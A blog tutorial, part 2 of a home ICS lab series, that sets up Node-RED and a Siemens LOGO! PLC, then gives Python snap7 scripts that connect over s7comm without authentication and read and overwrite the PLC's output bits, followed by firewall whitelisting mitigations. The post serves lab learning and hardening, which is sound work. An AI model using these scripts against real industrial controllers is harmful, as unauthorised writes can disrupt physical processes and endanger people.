Setup , exploit and harden a Physical ICS LAB: S7comm: Part2

biero llagas
5 min readNov 11, 2023

Disclaimer

Before I begin, I’d like to say that this article is intended to be informative. I strongly advise against using these techniques to do purposely lawbreaking actions, this project is Educational purpose only, you know the speech.

Foreword

This article is a direct continuation of part 1, and will show you how to develop a program on the SIEMENS LOGO! And how to connect a management HMI via NODE RED, all of that is to make a programmable no code interface for the LOGO! .

We’ll also look at how to modify the PLC’s normal behavior via the SNAP 7 library, and finally, propose some possible mitigations for this type of attack.

Before you start, I strongly advise you to read this article, and those that follow it, on the analysis of the s7comm protocol. It’s not essential for the completion of the lab, but it’s an important concept to understand.

NodeRed setup.

For the NodeRed setup, I opted for the easier solution, so I launched the official NodeRed docker on the same PC than the LOGO! Comfort software.

## the docker command to pull the 
docker pull nodered/node-red
## the docker command to run (i have setup the port 1883 becaus i have already some stuff on the 1880 one)
docker run -it -p 1883:1880 -v myNodeREDdata:/data --name mynodered nodered/node-red

The result on my windows docker desktop.

LOGO! Development.

As always, I’m not going to reinvent the wheel, so you need to follow this tutorial to get started

At the end that what my configurations look like this.

For the LOGO! .

For NodeRed.

Continue

Ok now we have one color, the concept is to have three (white, orange, red) that can be changed on the LOGO! , so let continue and add the full 3 color control.

Test and see if your configurations work by switching the screen color.

SNAP7 LOGO! B08

What the heck is SNAP7 ?

Word from Snap7 homepage:

Snap7 is an open source, 32/64 bit, multi-platform Ethernet communication suite for interfacing natively with Siemens S7 PLCs. The new CPUs 1200/1500, the old S7200, the small LOGO 0BA7/0BA8 and SINAMICS Drives are also partially supported.

Although it has been designed to overcome the limitations of OPC servers when transferring large amounts of high speed data in industrial facilities, it scales well down to small Linux based arm or mips boards such as Raspberry PI (1 and 2) , BeagleBone Black, pcDuino, CubieBoard, UDOO and ARDUINO YUN.

Three specialized components, Client, Server and Partner, allow you to definitively integrate your PC based systems into a PLC automation chain.

Understand the logic.

Thanks to the documentations, we are able to understand how the memory is orchestrated.

Here is the link of the snap7 documentations for the LOGO! 0BA7 and 0BA8

The interesting stuff it at the end, the correspondence between the Block type and the memory slot.

So, as I have understood, we use the Q block (picture below). So we try the address 1064 at positions 0, 1 and 2, because we have three Q.

Read value

Thanks to this post in the siemens forum, I was able to easily understand the syntax of the SNAP7 LOGO! .


import snap7

plc = snap7.logo.Logo()

plc.connect("10.1.1.11",0x0300,0x0200)

print(plc.get_connected())
print(plc.get_param(2))

print("value of the adresse V1064.0", plc.read("V1064.0"))
print("value of the adresse V1064.1", plc.read("V1064.1"))
print("value of the adresse V1064.2", plc.read("V1064.2"))

plc.disconnect()

For now on the NodeRed part, I have enabled the color orange (the second parameter, so tab[1] translate the python logic).

Cool, now try to disable orange and enable white, if the first line is equal to 1 and the second is equal to zero, you stuff work.

Write

In the same post, FrederikS7 give us all the information to use the write functions.

import snap7

plc = snap7.logo.Logo()

plc.connect("10.1.1.11",0x0300,0x0200)

print(plc.get_connected())
print(plc.get_param(2))

# change back and forth to white.
print(plc.write("V1064.0",0))
print(plc.write("V1064.0",1))
print(plc.write("V1064.0",0))

# change back and forth to orange.
print(plc.write("V1064.1",0))
print(plc.write("V1064.1",1))
print(plc.write("V1064.1",0))

# change back and forth to red.
print(plc.write("V1064.2",0))
print(plc.write("V1064.2",1))
print(plc.write("V1064.2",0))


plc.disconnect()

Proof of work

Possible mitigation.

Possible mitigation that I think for this attack can be the following.

  • Make a whitelist on the fortigate to allow only the DEV pc (by IP or mac address) to send packet to the port 102 (s7comm port) of the LOGO!
  • Close all the connections to the port 102 of the LOGO! and apply a whitelist on the DEV computer only during the time of the interventions on the LOGO!.

Conclusion

thank you for following these two parts.

We’ve seen that without external security applications, s7comm is vulnerable to the simplest of attacks, a bit like modbus.

That’s what we’ll be looking at in the next section, using the OPC UA framework and trying to set up environments that take security elements into account, such as PKI or packet signing.

--

--